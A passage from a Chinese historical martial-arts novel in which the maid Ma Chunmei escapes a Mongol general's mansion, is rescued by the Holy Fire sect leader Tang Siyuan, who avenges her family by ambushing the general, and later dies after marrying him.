头也是眼中含泪,秦妈看了看春花秋月,道:“你们两个去药房拿点药过来,我来劝劝这小丫头。”等春花秋月两人走后,秦妈对马春梅道:“孩子,好死不如赖活着,蝼蚁尚且贪生,你干嘛要做这样的傻事?”马春梅抽抽搭搭道:“秦妈妈,我虽是小户人家女子,但也懂得礼义廉耻,卖身为奴已经是辱没先人,再与人为妾,我宁愿一死了之。”说罢,奋力站起身,又要往墙上撞,秦妈连忙伸手拉住,思索良久,长叹一口气,把心一横,咬咬牙道:“孩子,你别干傻事了,你先吃饱喝足,等到今晚三更,这房门虽然上了锁,你可以从后窗爬出去,然后到后花园西边侧门,今天晚上侧门锁我帮你打开,你顺着西边侧门出府,然后你往西城门方向而去,等到五更时分,安西府开了城门,你从西城门出城,不要走大道,你顺着小路往西边的山上逃命去吧。”马春梅泪眼婆娑道:“秦妈妈,你放了我,他们是不会饶了你的。”秦妈道:“小丫头,没事的,秦妈已经四十多岁了,什么阵仗没见过,我会妥当处理的,你可记好了,三更时分,你从后窗爬出,到后花园西边侧门,出了将军府往西城门方向去,到了五更时分,你跟着出城的人一起出城,千万要记住,不能走大道,天亮时分,将军府就会知道你逃跑了,大将军肯定会派出众多骑兵搜寻你,你出了西门之后,就要从小路往西边山上去。”马春梅含泪点点头道:“秦妈妈,我记住了,您的大恩大德,我只能来世再报。”又过了片刻,春花秋月从药房拿了些膏药回来,秦妈命人给马春梅施药,马春梅默默无语,施完药后,秦妈领着春花秋月出了房门,将房门反锁,然后三人离去。马春梅看着桌上的茶水点心,心中暗想:“现在我可要吃饱喝足了。”于是坐到桌旁,大口吃喝起来,等到中午时分,秦妈又命人送来饭菜,马春梅依然大口吃喝,等到傍晚时,晚饭又送入房中,马春梅早上和中午已经吃的饱饱的,等送饭的人走后,悄悄拿来一个布口袋,将馒头和包子装入布口袋中,然后躺倒床上,闭目休息,听到府外有人敲更,口中喊道:“两更时分,两更时分。”马春梅悄悄从床上起身,趁着夜色,开始收拾行囊,把随身衣物和干粮打成一个包裹,然后坐在床边,静静的等待。等到府外传来三更的打更声,马春梅悄悄的将后窗打开,然后搬了个板凳到窗边,爬上板凳,又上了窗台,悄悄的爬窗到了房外,马春梅背着行囊悄悄向后花园走去,功夫不大,马春梅到了后花园的西门,马春梅伸手摸去,只见平常锁着门的铁链已经不在,马春梅心里暗喜,悄悄推开门后,到了门外,然后又转身悄悄的将院门带上,借着月光小心翼翼的向西城门而去。花园内的暗处,秦妈一个人躲在夜色中,看到马春梅出了院门之后,秦妈悄悄的走上前,用手中的铁链,将西门又重新上锁。马春梅到了西城门边,找了一处暗处躲了起来,一边闭目养神,一边侧耳听着身边动静,只觉得心急如焚,如同热锅上的蚂蚁,好不容易听到五更的敲更声,马春梅站起身形,来到西城门边,只见西城门边上熙熙攘攘,大批起早的人都在陆续出城,马春梅紧了紧行囊,低着头,跟着众人出了西城门,到了西城门外,马春梅没有随众人去走官道,而是悄悄的上了小路,往西边群山走去。到了天亮时分,秦妈带着春花秋月来到关押马春梅的房间门前,春花上前打开房门,秦妈三人进屋一看,顿时大惊失色,口中道:“哎呀,不好了,春梅这小丫头跑哪里去了?快,快去禀报将军。”三个人手忙脚乱出了房间,跌跌撞撞向大将军房间跑去,大将军兀良哈刚起床,正在洗漱更衣,忽听门外传来秦妈惊慌的叫喊:“大将军不好了,不好了。”兀良哈回头一看,只见秦妈带着春花秋月惊慌失措的进了房间,三人噗通一声跪倒在地,兀良哈皱皱眉头,问道:“秦妈,怎么了?”秦妈战战兢兢道:“大将军,我带着春花秋月给春梅那小丫头送早饭,没想到,我们开了锁,到她房间一看,她竟然不见了。”兀良哈一听,也是大吃一惊,大声喊道:“来人。”门外进来八个侍卫,躬身行礼道:“大将军,请吩咐。”兀良哈道:“你们随我一起到后宅看看。”八名侍卫齐声回答道:“是。”兀良哈带着八名侍卫疾步向后宅而去,秦妈带着春花秋月也是紧赶慢赶跟着而去,到了马春梅房前,兀良哈抬腿进了房间,眼光四处打量,看到了窗前的板凳,连忙三步并做两步,上前一看,只见窗台上依稀留着鞋印,兀良哈心中暗道不好,转身吩咐道:“赛罕,巴根你们两个人各带两个百人队全城搜索,看看这马春梅藏在何处,阿木尔,苏德,其木格,纳日松,你们各带两个十人队,从东西南北门出城搜索,呼和,查尔巴拉你们各带两个十人队,在府内仔细排查。”八名侍卫领命而去,兀良哈看了看秦妈和春花秋月,道:“来人呐,把这三人给我关起来。”秦妈和春花秋月大声喊道:“将军,我们冤枉啊,我们冤枉啊。”又上来几名侍卫将秦妈和春花秋月捆了起来,扔到旁边的小黑屋里。”这时候呼和,查尔巴拉各带两个十人队,在府中开始搜索,而赛罕和巴根已经各领两个百人队,在安西府城中展开搜索,与此同时,阿木尔,苏德,其木格,纳日松四名侍卫各领着两个十人队,出了安西府东西南北城门,展开搜索,阿木尔是从西门出城的,他率众人出了城门,对着一个十夫长,命令道:“乌力吉,你带着你的人马顺着官道搜索,巴鲁你带着你的人跟着我顺着小路往山上搜索。”乌力吉领命,带着手下兵丁顺着官道驱马前行,搜索马春梅,阿木尔自己带着巴鲁等一众兵丁顺着小路驱马向群山奔去,功夫不大,到了山脚下,阿木尔勒住缰绳,翻身下马,吩咐道:“你们留两个在此看着马匹,其余的人跟我上山。”众兵丁纷纷下马,留下两个人看守马匹后,其余众人随着阿木尔顺着山路往上搜索,再说马春梅顺着小路进入山林之后,不敢耽搁,跌跌撞撞的往山上爬去,爬了两个时辰后,快到半山腰了,感觉又渴又饿,找了个小溪喝了点泉水,又吃了几个包子,感觉恢复了气力,又向山顶爬去,又爬了一个多时辰,只感觉到浑身越来越没有力气,马春梅无意中回头一看,却看到半山腰处,头十个蒙古兵丁,正顺着山路往山上爬,马春梅心中大惊,只能抖擞精神奋力往山峰上爬去,这时候,后面的蒙古兵丁也看到了马春梅的身影,大呼小叫到:“不许跑了,我们看见你了,赶快给我停下来。”马春梅恍若未闻,只是咬着牙奋力往山上爬,蒙古兵丁在后面奋力追赶,半个时辰左右,已经快追到马春梅了,马春梅回头看看大呼小叫的蒙古兵丁已经越来越近,心中知道逃跑已经无望,于是一咬牙,走到了山路旁的一处悬崖,头十个蒙古兵丁追上来一看,只见马春梅已经站在悬崖边的一块巨石上,阿木尔和乌力吉交换了一个眼色,阿木尔笑嘻嘻的说:“马姑娘,别做傻事,我们将军请你回府,我们将军说了,你要是不愿意嫁给安王爷,悉听尊便,随便你是留在府里还是送你回家都行,你别做傻事。”马春梅冷笑一声道:“你们这些话,去骗鬼吧,我今天就是跳崖而死,也不会跟着你们回去。”阿木尔笑嘻嘻道:“马姑娘,常言说得好:好死不如赖活着,你回去嫁给安王爷,以后吃香的喝辣的,享受荣华富贵,这是你八辈子修来的福气。”马春梅道:“呸,本姑娘宁为玉碎不为瓦全,你们今天休想抓我回去。”阿木尔和乌力吉使了个眼色,悄悄的挪动脚步向马春梅逼近,马春梅一抬脚,正准备跳下悬崖,正在这千钧一发之际,忽听耳边传来蒙古兵丁的惨叫,只见四五个蒙古兵丁已经胸口中箭倒地而死,阿木尔乌力吉大惊失色,和剩下的几个兵丁拔刀出鞘,抵挡身后的飞箭,只见山林中冲出七八名男子,为首一人,二十岁左右,身高七尺开外,朗目星眸,丰神俊朗,正指挥着众人向剩下的蒙古兵丁射箭,阿木尔乌力吉几名蒙古兵丁虽然奋力抵挡,奈何箭如雨下,且臂力强劲,功夫不大,阿木尔和乌力吉剩下的几名兵丁全部死于箭下,正在马春梅惊恐万分之时,为首的年轻人大声喊道:“这位姑娘,我们来救你了,你不要害怕,我们都是汉人,也都是好人,你不要害怕。”马春梅看着那年轻人满脸和善,又见他们将蒙古兵丁射杀,心中不由得的产生了信赖之心,只感觉身心俱疲,浑身无力,长长的松了一口气,顿时瘫软在地,那年轻人带着两名随从上前,拱手施礼道:“姑娘,在下姓唐,名思源,是太白山圣火教教主,请问姑娘为何到此?”只见马春梅口中只是喃喃自语道:“救我,救救我。”唐思源见此情形,于是道:“姑娘,我为你把个脉,唐突之处,请勿见怪。”说罢,唐思源伸手为马春梅把脉,见脉象平稳,并无大碍,只是惊吓劳累过度,唐思源转身吩咐随从道:“你们几个人,做一副担架,等会将这位姑娘抬回总坛医治。”手下人领命,很快做好了一副担架,唐思源道:“姑娘,请勿见怪。”伸手将马春梅扶起,并将她扶上担架躺下后,众人一路前行,向太白山圣火教总坛而去,行到下午时分,马春梅已经苏醒过来,唐思源让众人停下休息,又分了一点干粮和水给马春梅充饥解渴,马春梅满脸羞红,低着头小声道:“谢谢公子救命之恩。”唐思源道:“这位姑娘,这里山高水险,你随我们回总坛,再做计较。”马春梅含羞点头,众人吃点干粮后,又行了一日,到了傍晚时分,来到了位于秦岭太白山圣火崖的圣火教总坛,太白山是秦岭山脉之巅,为秦岭最高峰,秦岭诸峰之首,太白山在《尚书?禹贡》谓之“惇物山”,《说文解字》云:“惇者,物之丰厚也。”《史记》称其“嶽山”,《汉书?地理志》谓之“太乙山”,据传说为太乙真人修炼之地;《录异记》载:“金星之精,坠于终南圭峰之西,其精化白石若美玉,时有紫气复之,故名。”大抵是取太白金星之意称为“太白山”,太白山雄伟壮阔,山势险峻而又不失秀丽,景色优美,令人心旷神怡,四周云雾缭绕,犹如神话中的瑶池仙境,古人常将太白山誉为西岳,圣火教总坛位于太白山圣火崖,这里两侧山崖巍峨险峻,圣火教前寨城墙高耸数丈,城墙上上百名教众手持弓箭刀枪,戒备森严,一名随从驱马上前,大声喊道:“快开城门,教主回来了。”城墙上教众看清众人后,连忙将寨门打开,唐思源率众人驱马进了山寨,这时已经有人前去禀报老夫人了,唐思源的母亲张氏也带着几名丫鬟前来迎接,这张氏妇人,四十多岁,皮肤白皙,面似银盘,眉宇之间透出几分温和善良,唐思源看到母亲前来迎接,连忙翻身下马,跪下行礼道:“母亲,孩儿给您请安。”张夫人见唐思源出门几天,正在担心,见儿子平安归来,心中的石头才放了下来,张夫人是原圣火教主唐天烁的妻子,在南宋建炎年间,明教教主王宗石在信州起兵对抗官府,失败后,手下部众为躲避官府追捕,在护教法王唐义昭的带领下,逃亡西北,手下部众拥立唐义昭为教主,唐义昭将明教总舵设在太白山圣火崖,并将明教改为圣火教,唐天烁乃唐义昭的后世子孙,前几年唐天烁为了保护教众,率领部众反抗蒙古人,不幸遇害,教内众人拥立唐天烁的独子唐思源,做了教主,圣火教在西北诸省势力庞大,有十几万教众,教务繁多,唐思源年方二十,经验不足,所以很多教务都是张夫人做主,张夫人伸手扶起唐思源道:“我儿不必多礼。”眼光扫处,见唐思源的随从抬着一个担架,担架上坐着一个十六七岁的少女,不禁问道:“源儿,这姑娘是怎么回事?”唐思源简单的将搭救马春梅之事情告诉母亲,此时马春梅也从担架上下来,走到张夫人面前,盈盈拜倒,道:“老夫人,多谢公子搭救之恩,小女子马春梅给夫人行礼了。”张夫人本是心地善良之人,伸手将马春梅拉起,道:“孩子,不必多礼,你们随我到后宅用膳。”说罢,领着唐思源马春梅一众人等,到了后宅,众人吃罢晚饭后,张夫人又让人领着马春梅去洗漱更衣,等到马春梅洗漱更衣后,丫鬟将她又带到张夫人房间,唐思源正陪着母亲在房中说话,这时丫鬟领着马春梅进来,张夫人和唐思源定睛一看,情不自禁内心赞叹,这中原的女子果然大多貌美,只见马春梅一头青丝秀发,肤若凝脂,丹凤眼,柳叶眉,樱桃小嘴,牙白如玉,秀丽端庄,眉宇之间一股正气,马春梅对着张夫人盈盈拜倒,道:“小女子马春梅多谢夫人和唐公子搭救收留之恩。”张夫人道:“不必多礼,快快请起,这边请坐。”身旁的丫鬟领着马春梅在张夫人身边的椅子上坐下,唐思源虽然端坐在椅子上,听着母亲和马春梅说话,但不由自主眼角的余光,时不时的向马春梅看去,俗话说得好,知子莫若母,张夫人是何等人物,儿子的一举一动都尽收眼底,张夫人柔声问道:“马姑娘,我看你才十六七岁的年纪,听口音是南方人士,为何流落至此?”又为何遭到蒙古人追捕?”马春梅禁不住眼圈一红,强忍心中悲痛,将自己是何方人士,父亲因病亡故,家乡遭遇旱灾,迫不得已卖身为奴,后随兀良哈将军来安西府,在酒席上,被朝廷来的安王爷看上,要强娶为妾,自己不甘受辱,所以星夜逃出安西府,不料在山野中被蒙古人追上,自己正要跳崖之时,幸得唐公子搭救,才幸免于难,一一如实禀告,张夫人和唐思源听了,既感叹马春梅舍身为奴救叔救妹,又赞叹马春梅富贵不能淫,宁为玉碎不为瓦全的凛然正气,张夫人道:“马姑娘,你的遭遇我深感同情,你不要悲伤,待到你养好伤后,你若是想回去,我命人送你回宿州城便是。”唐思源在一旁听了,连忙道:“母亲,我们在山林中射杀了八九个蒙古士兵,只怕安西府的大将军不会善罢甘休,我担心他会派人去宿州城,抓捕马姑娘的家人。”马春梅一听,忍不住心中焦急,道:“夫人,唐公子,求求你们,帮我想个办法,我担心安西府的大将军会派人捉拿我的叔父和妹妹。”张夫人道:“源儿,你想个妥当的办法。”唐思源想了想,道:“母亲,马姑娘,安西大将军不但没有抓到马姑娘,反而损失了几名手下,定然不肯善罢甘休,依我之见,宿州城是不能回了,我马上命人去宿州城接马姑娘的叔父和妹妹来此,让马姑娘一家人团圆。”张夫人和马春梅听了连连点头,唐思源道:“马姑娘,你不要着急,我现在就去安排。”说罢一转身,出了张夫人房间,径直到前面安排人手去宿州城,马春梅看着唐思源的背影,心中充满了感激,情不自禁感觉一股暖流涌遍全身,张夫人看着马春梅,目光神情也是充满怜爱,柔声道:“孩子,你不要着急,源儿连夜派人赶往宿州城,定然可以安全的将你叔父和妹妹接到这里来,到时候你们一家团圆,从此不再分开。”马春梅眼含热泪,站起身形,噗通一声跪倒在张夫人面前,道:“夫人,您和唐公子的大恩大德,我粉身碎骨也难以回报。”说罢嘭嘭嘭磕着响头,张夫人连忙站起身形将马春梅拉起,道:“孩子,认识就是缘分,你已受尽苦难,以后定然苦尽甘来,福气满满。”这边张夫人和马春梅在一起叙话,唐思源已经派了四名得力手下,连夜赶往宿州城去接马青石和马秀英,再说马青石和马秀英自从马春梅走后,心中总是郁郁寡欢,叔侄二人相依为命,日子虽然清苦,但也能熬得下去,马青石因为马秀英幼小,不放心她一个人在家,所以出门卖货的时候,总是把马秀英带在身边,这天马青石带着马秀英正走街串巷,在卖针头线脑,忽然族中的一位老大哥前来找寻,看到马青石后,立马将马青石拉到一边,口中道:“青石啊,刚才宿州城将军府派了几十个兵丁到你家去,要抓你和秀英,现在还守在你家门口呢。”马青石一听,不由得愕然道:“将军府来人抓我和秀英干什么?”我们可从来没做什么犯法的事啊。”老大哥道:“听为首的兵丁和族长说,是春梅在安西府出事了,她逃出将军府,将军府派人抓她,不但没有抓到春梅,还死了好几个士兵,所以安西府派人来宿州城要抓你和秀英回去。”马青石一听,心中大惊,道:“春梅逃出将军府了?”这孩子现在到哪里去了?”老大哥焦急道:“青石啊,你现在就别想着春梅的事了,你带着秀英赶快逃命吧。”马青石叹口气道:“哎,事到如今,也只好如此了。”老大哥从口袋里掏了二两碎银道:“青石啊,大哥手里只有这点钱,你别嫌少,你带着孩子赶紧逃命去吧。”马青石接过碎银,拉着马秀英跪倒在地,嘭嘭嘭向老大哥磕了几个响头,老大哥赶忙将二人拉起,道:“都是自家人,你们别客气了,赶快走吧。”马青石领着马秀英,转身离去,两个人顺着小巷子,来到城门口,混在出城的人群里,悄悄出了宿州城,没过几天,唐思源派的几名手下来到宿州城,到城中一打听,找到了马青石家,只见马青石家门口守着一排兵丁,几人心中暗道不好,转头到附近一家酒馆坐下,几个人要了点酒菜,边喝酒边和老板打听:“老板啊,前面那家是马青石家吧?”他家出了什么事?”怎么门口守了一排兵丁啊?”酒馆老板道:“几位客官,你们是从外地来的吧?”众人道:“是啊。”老板道:“听说啊,这马家的大侄女在安西府出了事,所以安西府派人来要抓她叔叔马青山和她妹妹马秀英,估计马青石和马秀英听到了消息,逃出了宿州城,这几天,宿州城的兵丁正四处搜捕他俩呢。”唐思源的几个手下一听,心想这可坏事了,这马青石和马秀英逃出了宿州城,茫茫人海,我们去哪里去找寻?”想到这,几人也无心吃喝,连忙付了帐,走出酒馆,骑上马匹向太白山方向回去。再说马青石领着马秀英出了城后,心中暗想:“自己腿脚不便,领着马秀英逃跑,只怕很快被追兵赶上。”想到这,他对马秀英道:“阿妹啊,我们到城外的郭家庄去,去找你表叔郭子兴。”马秀英年纪尚小,也没有什么主意,道:“叔叔,那我们去吧。”马青石领着马秀英往郭家庄而去,大约半个时辰,到了郭子兴家,找到郭子兴,这郭子兴四十多岁,身高七尺开外,体型壮硕,马青石支开马秀英,在房间里把事情一五一十告诉了郭子兴,郭子兴道:“表弟啊,你现在准备怎么办?”马青石道:“表哥,宿州城将军定然不会轻易放过我们,会画影图形,通缉搜捕,我腿脚不便,领着秀英逃跑肯定是逃不掉的,我现在把秀英托付给你,我去宿州城自首,只求你能够看在我死去大哥的面子上,救秀英一命。”郭子兴大吃一惊道:“表弟啊,你回宿州城定然是难逃一死,我看你和秀英就躲在我家里好了。”马青石摇摇头道:“表哥,村子里人多嘴杂,我和秀英两个人都躲你家,估计官府很快知道,到时候,我们一个都逃不掉,我现在回宿州城自首,想那宿州将军只要能抓到了我,也可以向安西府交差了,秀英那么小的孩子,想必也不会放心上,只希望您能看在我大哥面上,能救秀英一命,我和大哥来生再报答您的大恩大德。”说罢,跪倒在地,嘭嘭嘭向郭子兴直磕着响头,郭子兴心中悲苦,伸手将马青石扶起,道:“表弟,你虽身残,但大义永记世人之心,你放心,从今以后,我把秀英当成自己女儿,无论以后什么情形,我都会像亲生女儿一样,护她周全。”马青石抹抹眼泪,到屋外喊马秀英进房,道:“阿妹啊,你表叔要收你做义女,从今以后你要像对你爹爹一样对待你表叔,来,给你义父磕三个头。”马秀英虽然不明究竟,但也按马青石所言,嘭嘭嘭向郭子兴磕了三个响头,道:“义父在上,请受孩儿一 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拜。”郭子兴心中酸楚,伸手拉起马秀英道:“好孩子,从今以后,你就跟着义父,义父定然像亲生女儿一样对你。”马秀英虽然年龄不大,但是心中感觉怪怪的,眼珠子转转,问马青石:“叔叔,我们俩个人都住在义父家吗?”马青石强忍心中悲痛,道:“阿妹啊,家里还有点银子,叔叔还要回去拿,要不然我们都在表叔家生活,表叔家生活也困难,我要回城去把银子取回来,买点粮食,我们都住你义父家。”马秀英眼睛轱辘轱辘一转,道:“可是我听大伯说,家里来了很多兵丁,要抓我们呀。”马青石故作轻松道:“没事的,那些兵丁找不到我们,一会他们不得回将军府啊,家里还有十几两银子,是你姐姐给我们的,还有叔叔的卖针头线脑赚的,那些都是叔叔的命根子,哪能不要呢?”马秀英虽然心中感觉有些不对,但是毕竟年龄小,说不出什么道理来,只好对马青石道:“叔叔,你回去取银子,可千万要小心啊,不要让那些兵丁把你抓住了。”马青石故作轻松的道:“没事,叔叔会小心的,你在家里一定要听你义父的话,不要乱跑,我取了银两就回来。”马秀英点点头道:“叔叔你快去快回,一定要注意安全。”马青石强忍泪水,伸手搂过侄女,抱了抱,然后松开双手,头也不回的出了郭子兴的家,郭子兴看着他的背影离去,眼中也是热泪盈眶,马秀英对郭子兴说:“义父,你别担心,我叔叔会说了他会小心的,他一会取了银两就会回来的。”郭子兴强忍悲痛,点点头道:“秀英啊,你在义父家,一定不要乱跑,你叔叔很快就会回来。”马秀英点点头,乖巧的道:“义父,我听话,我不会乱跑的。”马青石出了郭家庄后,径直向城门方向走去,到了城门口,守门的兵丁已经看到他了,几个兵丁上来大呼小叫的将他按住,马青石也不反抗,任由他们将自己捆绑,然后被几个兵丁拉着拽着送到了宿州将军府,宿州将军阿古拉本是安西大将军兀良哈原来的属下,听兵丁说马青石和马秀英已经逃跑,正在烦恼之时,忽然手下来报:“启禀将军,安西将军府要抓的马青石已经抓到。”阿古拉一听顿时大喜,心想:“安西府要抓的两个人,现在马青石已经抓到,那个小丫头才十来岁,也没啥大关系。”连忙喊到:“快,把马青石给我带上来。”片刻功夫,马青石被几个兵丁连拉带拽带到将军面前,阿古拉大声喝到:“马青石,见到本将军,竟敢不跪?”马青石看了看阿古拉,眼中满是仇恨,一言不发,阿古拉大怒道:“马青石,我来问你,你小侄女现在何处?”马青石昂然答道:“我小侄女,和几个耍马戏的艺人早就离开宿州城了。”阿古拉怒道:“你以为你侄女跟马戏团跑了,我就找不到了吗?”本将军即刻上报,通知各州各府画影图形,追捕你小侄女。”马青石呵呵笑道:“马戏团一向走南闯北,居无定所,有本事,你就去抓吧。”阿古拉怒道:“大胆刁民,来人啊,给我重打一百大板。”几名兵士上前按到马青石,然后抡起大板,打起马青山。”马青山被打的皮开肉绽,血肉模糊,但是马青山咬着牙,一声不吭,旁边的师爷见状,连忙上前劝阻道:“将军啊,马青石本来就是残疾之人,身体就弱,万一我们把他打死了,我们怎么向安西府交差?”阿古拉沉思片刻,道:“不要打了,将这死瘸子打入大牢,命人给他上药,别让他死在牢里了,等他稍微好转,即刻派囚车将他送往安西府。”马青山被送到监牢后,监牢的大夫给他上了金创药,等他伤痛稍微好一点,宿州将军便命人将马青石打入囚车,送往安西府,郭子兴听到消息后,心中虽然悲苦,但也无计可施,只有将马秀英暗自悄悄藏在家中,不敢让人知晓。再说唐思源几名手下,已日夜兼程,回到了太白山圣火教总坛圣火崖,见到唐思源后,将宿州那边的情况,一一向唐思源禀报,正在这时,张夫人和马春梅也赶了过来,唐思源将手下人说的情况,向母亲和马春梅一一细说,马春梅听后,霎时呆若木鸡泪如雨下,张夫人连忙柔声劝慰,马春梅道:“都是我害了叔叔和妹妹,我有何面目活在世上。”说罢,就要向廊前的石柱撞去,唐思源眼疾手快,连忙伸手将她拉住,张夫人也连忙上前,紧紧拉着马春梅的手,道:“傻孩子,留得青山在,不怕没柴烧,你叔叔和妹妹是逃出了宿州城,日后我们再慢慢打听,你现在一头撞死,日后要是找到了你叔叔和妹妹,他们岂不是要伤心欲绝。”马春梅冷静下来一想,心中也明白这个道理,于是道:“老夫人所言极是,叔父和妹妹现在下落不明,我怎能一死了之。”又转身对唐思源道:“唐公子,你对我的大恩大德,我粉身碎骨也难以为报,只求唐公子能再派一些人手,到宿州城周边打探我叔叔和妹妹下落。”唐思源道:“妹子,你放心好了,你的叔父就是我的叔父,你的妹妹就是我的妹妹,我就算费尽九牛二虎之力,也要想方设法将他们找到,与你团聚。”此言一出,张夫人心中,不由暗想,自己的儿子是难得吐露心声啊,马春梅也是聪明伶俐之人,闻听此言,心中悲苦之情稍减,感觉有几份羞涩,又带着几份欣喜,唐思源又重新加派人手,去宿州周边打听马青石和马秀英的下落。再说马青石被打入囚车后,一路风餐露宿,押往安西府,马青石心想:“我一残疾之人,到了安西府一定会受尽屈辱,与其受辱而死,不如一死了之。”于是马青石把心一横,在囚车上不吃不喝,押送的兵丁多次劝说,无奈马青石一心寻死,置若罔闻,几日后,马青石死在了囚车里,押送的兵丁也无可奈何,只好将马青石的尸体送到安西府复命。兀良哈见马青石已死,也是无计可施,命人将马青石尸体往城外乱葬岗一丢了事,唐思源所派之人,又到了宿州城,四处打听马青石和马秀英下落,得知马青石已经被押往安西府,连忙派两个人向唐思源马春梅报信,设法营救,剩下的人继续在宿州城周边打听马秀英下落,他们一打听不要紧,可把郭子兴吓坏了,郭子兴听说有人在打听马秀英的消息,心想这十有八九是安西府的人还在追查,郭子兴思前想后,把心一横,变卖了田产房屋,带着妻儿和义女马秀英悄悄地逃出宿州府。再说马春梅和唐思源得知叔父被押往安西府,唐思源再想派人搭救,却得知马青石已经绝食而死的消息,只好悄悄的派人去安西府城外的乱葬岗,寻到马青石尸首后,带回圣火崖,马春梅见叔父死得如此悲惨,哭的肝肠寸断悲痛欲绝,张夫人和唐思源千说万劝,劝马春梅节哀顺变,不要过于悲伤,免得伤了身体,又安排人将马青石厚葬,马春梅陷入悲伤之中,无法自拔,唐思源见马春梅如此悲伤,心中也是十分难过,整日陪在马春梅身边,柔声劝慰马春梅要解开心结,马春梅心中感激,对唐思源道:“如今叔叔惨死,妹妹不知所踪,不知道救我出府的秦妈,现在情况如何?我现在心中时常牵挂,只盼公子派人打听一番,若是秦妈安好,我也可以放心。”唐思源道:“妹子,你请放心,我即刻命人前去打探。于是,唐思源派出人手,去安西府打听消息,几日后,手下回来禀告:“那兀良哈将军因为马春梅逃走,迁怒于秦妈,竟然将秦妈活活打死。”唐思源得到消息,心中怒火中烧,也没有告诉母亲和马春梅,悄悄从护教的两千五行卫中,挑选了二十名高手,携带利刃下了圣火崖,直奔安西府而去,这些护教五行卫,乃当年唐思源先祖唐义昭,在追随明教教主王宗石起义失败后,为躲避官府追捕,带领手下部众来到圣火崖后,将明教改名为圣火教,并按照摩尼教和明教古法,精心训练的两千子弟兵,并命名为:圣火五行卫!后来,唐义昭的子孙后人都遵循先辈古法,代代相传,训练五行卫作为圣火崖总舵护教兵丁,这些五行卫,一个个本领非凡武艺高强,都是以一敌十的勇士。唐思源率领二十名精心挑选的五行卫高手,一路上小心潜行,分成几批来到安西府城外,派人打探几日,得知兀良哈将军每隔两日,就要去城外军营处理军务,唐思源和手下众人商量好计策,悄悄布好陷阱,就等着兀良哈上钩,这日,兀良哈将军带着三四十名随从,从安西府出城,前往城外军营处理军务,傍晚时分,兀良哈带领手下一众手下,雄赳赳气昂昂,威风凛凛离开军营,驱马返回安西府,刚刚走到一半路程,众人正在策马前行,忽然间,道路两旁的高粱地里,一声哨响,倏忽射出一阵箭雨,瞬间射死了十几名随从,兀良哈大吃一惊,不知来敌虚实,急忙一边拔刀抵御,一边大声喝令小心戒备往前冲锋,准备冲破敌人伏击,兀良哈率领手下驱马没跑几步,只听见惨叫声不绝于耳,兀良哈和剩余的手下,全部掉入陷马坑中,陷马坑底,布满了锋利刀刃,一众手下死伤惨重,没等兀良哈等人反应过来,只见道路两侧的高粱地中,杀出二十多人,疾步如飞来到陷马坑旁,二话不说,对着兀良哈等人就是乱箭齐发,兀良哈身中数箭,大声怒吼道:“你们是什么人?为什么要伏击本将军?”领头的一名二十岁左右年轻人冷冷道:“兀良哈,大丈夫行不更名坐不改姓,我乃圣火教教主唐思源,今日前来,是为马春梅的叔叔和秦妈保仇。”兀良哈闻言,刹那间被吓得目瞪口呆魂飞魄散,他在安西府领兵数年,早就听说过圣火教五行卫的厉害,想不到今日他们竟然前来,为马春梅的叔叔和秦妈报仇,只见唐思源连环两箭射出,正中兀良哈胸腹,兀良哈发出两声惨叫,命丧黄泉。唐思源见兀良哈等人已经全部丧命,命令手下停止射箭,自己纵身跃下陷阱,将兀良哈头颅割下,用布袋装起,然后纵身跃出,唐思源心中暗想:“今日设伏射杀了安西府的大将军,此事必定震惊朝野,元朝官府定然不会善罢甘休。”于是命令手下,掩埋尸体,清理战场,将所有痕迹全部处理干净,然后带领人马悄然离去。等唐思源等人回到圣火崖,母亲张夫人和马春梅正在提心吊胆焦急等候,见唐思源安全回来,这才放下心来,听了唐思源的陈述,又看到兀良哈的头颅,马春梅这时才知道,唐思源是为了替叔叔和秦妈报仇,不惜以身涉险,去安西府刺杀了兀良哈,瞬间内心心潮澎湃,情不自禁热泪盈眶,口中道:“唐公子,你对我的恩情,我纵然粉身碎骨,也难以回报。” 后面的一年时间,唐思源足不出户,天天在圣火崖陪伴在马春梅身边,想尽办法哄马春梅开心,又加派人手,四处寻找马秀英下落,马春梅见唐思源如此厚爱,心中也是万分感激,两人情投意合两情相悦,定下白首之约终身之盟,张夫人见二人已经定了终身,自是喜出望外,于是挑选良辰吉日,安排唐思源和马春梅成亲,圣火教在西北诸省势力极为庞大,拥有将近四十处分舵,十几万教众,唐思源和马春梅二人婚礼,自然办得热闹非凡风光无限,两人成亲后,张夫人和唐思源对马春梅极好,加上圣火教在西北诸省教众众多,根深蒂固,财力极为雄厚,马春梅虽不敢说锦衣玉食,但也衣食无忧,马春梅心中时常牵挂起妹妹,但奈何派去寻找的人手,都是无功而返,马春梅平日想起父亲,叔父和妹妹时,心中总是郁郁寡欢,日子久了便思念成疾,此时马春梅已有身孕,张夫人和唐思源也是极力哄她开心,马春梅深知婆婆和丈夫的厚爱,虽然强颜欢笑,但内心总是忧虑妹妹的生死,待到十月怀胎生产之时,马春梅虽然诞下一子,但奈何心中经常忧虑,伤了身体,偏偏又产后大出血,纵然唐思源让接生婆全力施救,但也回天乏术,马春梅临死之前,对唐思源道:“我何德何能,能得到婆婆和夫君的厚爱,可惜福薄,以后不能再孝敬婆婆,照顾夫君。”张夫人和唐思源闻言,也是悲痛万分,马春梅道:“婆婆,夫君,我今生得到你们厚爱,虽死无憾,以后孩子就要婆婆和夫君费心抚养了。”张夫人和唐思源泪如雨下,连连点头,马春梅道:“夫君,我在这个世界上,娘家唯一的血亲就是秀英了,只盼夫君继续用心寻找,若能寻到秀英,盼夫君看在我的面子上,护她周全。”唐思源道:“夫人,我对天发誓,若能找到秀英妹妹,定然象亲妹妹一样待她,护她周全。”马春梅含笑点点头,溘然与世长辞。”张夫人和唐思源强忍悲痛,将马春梅厚葬,此后,由张夫人亲自照顾孙儿,并取名为唐正阳,唐思源又加派人手,寻找马秀英下落,无奈人海茫茫,虽数年寻找,却都是无功而返。 3. 第 3 章 第三章:应天认亲 